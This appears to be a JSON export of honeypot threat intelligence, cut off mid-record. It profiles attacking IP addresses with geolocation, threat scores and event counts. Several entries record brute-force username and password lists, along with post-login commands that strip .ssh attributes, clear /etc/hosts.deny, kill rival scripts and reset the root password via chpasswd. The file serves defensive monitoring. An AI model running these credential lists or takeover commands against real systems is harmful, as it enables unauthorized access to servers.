    "1.225.62.211": {
      "attack_count": 2,
      "first_seen": "2026-03-10T05:49:29.465Z",
      "last_seen": "2026-03-10T05:50:14.652Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:49:29.465000+00:00",
        "last_seen_30d": "2026-03-18T19:18:41.469000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "110.37.18.101": {
      "attack_count": 2,
      "first_seen": "2026-03-21T12:45:01.722Z",
      "last_seen": "2026-03-21T12:45:16.589Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T12:45:01.722000+00:00",
        "last_seen_30d": "2026-03-21T12:46:26.770000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.133.1.182": {
      "attack_count": 2,
      "first_seen": "2026-03-21T02:17:52.426Z",
      "last_seen": "2026-03-21T02:18:05.823Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Siheung-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T02:17:52.426000+00:00",
        "last_seen_30d": "2026-03-21T02:19:13.535000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.162": {
      "attack_count": 2,
      "first_seen": "2026-03-06T16:17:27.141Z",
      "last_seen": "2026-03-06T16:17:57.665Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 151,
        "days_active_30d": 29,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T03:51:32+00:00",
        "last_seen_30d": "2026-03-31T22:25:33.981000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Honeytrap": 34,
        "ConPot": 19,
        "Adbhoney": 4,
        "Cowrie": 2
      }
    },
    "194.127.110.114": {
      "attack_count": 2,
      "first_seen": "2026-03-25T12:34:30.159Z",
      "last_seen": "2026-03-25T12:34:43.270Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 208324,
      "as_org": "Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T12:34:30.159000+00:00",
        "last_seen_30d": "2026-03-25T12:35:49.925000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.177": {
      "attack_count": 2,
      "first_seen": "2026-03-19T18:51:03.286Z",
      "last_seen": "2026-03-19T18:51:03.637Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T20:01:38+00:00",
        "last_seen_30d": "2026-03-31T08:47:50.277000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 19,
        "Cowrie": 2,
        "H0neytr4p": 1
      }
    },
    "198.235.24.38": {
      "attack_count": 2,
      "first_seen": "2026-03-30T20:50:19.418Z",
      "last_seen": "2026-03-30T20:50:19.750Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 98,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T08:25:55+00:00",
        "last_seen_30d": "2026-03-31T05:54:46.781000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 30,
        "Cowrie": 2,
        "H0neytr4p": 1
      }
    },
    "202.184.48.16": {
      "attack_count": 2,
      "first_seen": "2026-03-06T22:03:12.663Z",
      "last_seen": "2026-03-06T22:03:25.880Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Petaling Jaya",
      "asn": 9930,
      "as_org": "TIME dotCom Berhad No. 14, Jalan Majistret U126 Hicom Glenmarie Industrial Park 40150 Shah Al",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T22:03:12.663000+00:00",
        "last_seen_30d": "2026-03-06T22:04:33.283000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.37": {
      "attack_count": 2,
      "first_seen": "2026-03-27T00:18:50.803Z",
      "last_seen": "2026-03-27T00:18:51.107Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 28,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-03T12:47:33+00:00",
        "last_seen_30d": "2026-03-30T07:51:47.334000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 31,
        "Miniprint": 9,
        "Cowrie": 2,
        "Dionaea": 2,
        "Sentrypeer": 1
      }
    },
    "205.210.31.83": {
      "attack_count": 2,
      "first_seen": "2026-03-10T15:03:25.685Z",
      "last_seen": "2026-03-10T15:03:56.835Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T08:27:50+00:00",
        "last_seen_30d": "2026-03-31T04:41:18.152000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 34,
        "Mailoney": 5,
        "Ciscoasa": 4,
        "Cowrie": 2,
        "H0neytr4p": 1,
        "Sentrypeer": 1
      }
    },
    "220.72.32.117": {
      "attack_count": 2,
      "first_seen": "2026-03-29T14:20:09.544Z",
      "last_seen": "2026-03-29T14:20:40.150Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Nowon-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T14:20:09.544000+00:00",
        "last_seen_30d": "2026-03-29T14:23:04.079000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "221.153.11.149": {
      "attack_count": 2,
      "first_seen": "2026-03-11T23:14:04.941Z",
      "last_seen": "2026-03-11T23:14:17.770Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T23:14:04.941000+00:00",
        "last_seen_30d": "2026-03-11T23:15:19.024000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "34.40.85.188": {
      "attack_count": 2,
      "first_seen": "2026-03-30T09:40:09.598Z",
      "last_seen": "2026-03-30T09:40:13.904Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T16:47:24.258000+00:00",
        "last_seen_30d": "2026-03-30T09:41:23.358000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "39.86.206.154": {
      "attack_count": 2,
      "first_seen": "2026-03-04T10:30:15.716Z",
      "last_seen": "2026-03-04T10:30:22.072Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T10:30:15.716000+00:00",
        "last_seen_30d": "2026-03-04T10:31:24.632000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.4.74.66": {
      "attack_count": 2,
      "first_seen": "2026-03-24T03:46:59.591Z",
      "last_seen": "2026-03-24T03:47:12.590Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sorocaba",
      "asn": 266046,
      "as_org": "INTERCONNECT TRANSMISSAO DE DADOS",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T03:46:59.591000+00:00",
        "last_seen_30d": "2026-03-24T03:48:21.261000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.21.206.47": {
      "attack_count": 2,
      "first_seen": "2026-03-02T04:03:10.567Z",
      "last_seen": "2026-03-02T04:03:41.122Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Miryang",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T04:03:10.567000+00:00",
        "last_seen_30d": "2026-03-02T04:04:44.234000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "60.208.18.149": {
      "attack_count": 2,
      "first_seen": "2026-03-18T22:40:28.614Z",
      "last_seen": "2026-03-18T22:40:28.853Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jinan",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 7.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 9,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-18T22:24:51.094000+00:00",
        "last_seen_30d": "2026-03-26T05:07:52.183000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "68.151.1.196": {
      "attack_count": 2,
      "first_seen": "2026-03-02T09:10:57.451Z",
      "last_seen": "2026-03-02T09:11:10.003Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Edmonton",
      "asn": 6327,
      "as_org": "Shaw Communications",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T09:10:57.451000+00:00",
        "last_seen_30d": "2026-03-02T09:12:19.694000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "76.171.249.91": {
      "attack_count": 2,
      "first_seen": "2026-03-16T22:58:55.117Z",
      "last_seen": "2026-03-16T22:59:11.093Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chatsworth",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T22:58:55.117000+00:00",
        "last_seen_30d": "2026-03-16T23:00:14.714000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "159.89.174.241": {
      "attack_count": 3525,
      "first_seen": "2026-03-09T01:23:06.797Z",
      "last_seen": "2026-03-09T02:24:20.906Z",
      "sessions": 705,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "ali",
        "debian",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin",
        "admin123",
        "1234567",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4954,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T01:23:06.797000+00:00",
        "last_seen_30d": "2026-03-09T02:25:24.571000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3525,
        "Suricata": 1429
      }
    },
    "103.174.115.196": {
      "attack_count": 797,
      "first_seen": "2026-03-04T16:59:59.222Z",
      "last_seen": "2026-03-21T06:20:16.334Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "android",
        "elk",
        "jupyter",
        "nodejs",
        "water",
        "adv",
        "astra",
        "bounce",
        "dockeruser",
        "geoserver",
        "issabel",
        "maria",
        "mike",
        "minecraft",
        "panel",
        "redis",
        "richard",
        "su"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "password",
        "090909",
        "111",
        "911911",
        "Android123",
        "Bingo@1993",
        "Bounce123!",
        "Elk123!",
        "Geoserver123",
        "Phoenix1",
        "Q1w2e3r4t5!",
        "Qazwsx@123",
        "Richard123",
        "Su123!",
        "Testtest123",
        "Water",
        "Zw123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\npI3fFCwcJ2yg\\npI3fFCwcJ2yg\\n\"|passwd",
        "echo \"Android123\\n2p9F0lkp9UbX\\n2p9F0lkp9UbX\\n\"|passwd",
        "echo \"Elk123!\\nAIBwmzftSYrv\\nAIBwmzftSYrv\\n\"|passwd",
        "echo \"Water\\nPZTQviO1DEoY\\nPZTQviO1DEoY\\n\"|passwd",
        "echo \"password\\nuttS1prWPvXj\\nuttS1prWPvXj\\n\"|passwd",
        "echo \"root:2ygOjnCwRs1s\"|chpasswd|bash",
        "echo \"root:TC9J1NrleSHS\"|chpasswd|bash",
        "echo \"root:YCm5DzqrYJvb\"|chpasswd|bash",
        "echo \"root:d8Gqb8z5OADZ\"|chpasswd|bash",
        "echo -e \"123456\\npI3fFCwcJ2yg\\npI3fFCwcJ2yg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.7,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 927,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T16:59:59.222000+00:00",
        "last_seen_30d": "2026-03-21T06:21:25.903000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 797,
        "Suricata": 130
      }
    },
    "43.245.97.82": {
      "attack_count": 546,
      "first_seen": "2026-03-02T09:59:22.851Z",
      "last_seen": "2026-03-26T14:27:00.016Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "antoine",
        "claude",
        "gbase",
        "llm",
        "alfred",
        "arun",
        "awsuser",
        "bin",
        "chrome",
        "dell",
        "erp",
        "g",
        "geo",
        "hh",
        "mamad",
        "newuser",
        "ociispth",
        "posiflex"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "password",
        "12345",
        "123456",
        "1q2w3e4r5T",
        "1q2w3e4r5t!",
        "2wsx!QAZ",
        "Aa123456Aa",
        "Abcd#1234",
        "Awsuser123",
        "Chrome123",
        "G123",
        "Hh123!",
        "Ociispth123!",
        "P455w0rd",
        "Password#123",
        "Qwer@123",
        "Test1234!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nrSGfM62YOKTx\\nrSGfM62YOKTx\\n\"|passwd",
        "echo \"123\\nItuBaJz3AvgC\\nItuBaJz3AvgC\\n\"|passwd",
        "echo \"antoine123!\\n8RW5WMdYkum5\\n8RW5WMdYkum5\\n\"|passwd",
        "echo \"root:DJxgDEHe4y46\"|chpasswd|bash",
        "echo \"root:r2FDgQcicViy\"|chpasswd|bash",
        "echo -e \"12345\\nrSGfM62YOKTx\\nrSGfM62YOKTx\"|passwd|bash",
        "echo -e \"123\\nItuBaJz3AvgC\\nItuBaJz3AvgC\"|passwd|bash",
        "echo -e \"antoine123!\\n8RW5WMdYkum5\\n8RW5WMdYkum5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 38719,
      "as_org": "Dreamscape Networks Limited",
      "threat_score": 50.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.2,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 659,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T09:59:22.851000+00:00",
        "last_seen_30d": "2026-03-26T14:28:00.861000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 546,
        "Suricata": 113
      }
    },
    "64.23.180.137": {
      "attack_count": 513,
      "first_seen": "2026-03-03T03:13:18.623Z",
      "last_seen": "2026-03-11T14:14:57.205Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "n8n",
        "splunk",
        "usuarioftp",
        "admin1",
        "bot",
        "clawd",
        "contab",
        "deploy",
        "dls",
        "ftp-user",
        "hong",
        "hosting",
        "king",
        "new",
        "nima",
        "personal",
        "roman",
        "sysadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "1233218613f",
        "12345678",
        "1",
        "Bot123",
        "King123!",
        "Personal123",
        "Welcome123",
        "Zxc12345",
        "a",
        "a1123",
        "asdfgh",
        "baidu123",
        "daniel123",
        "deploy1",
        "dls123",
        "hong1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
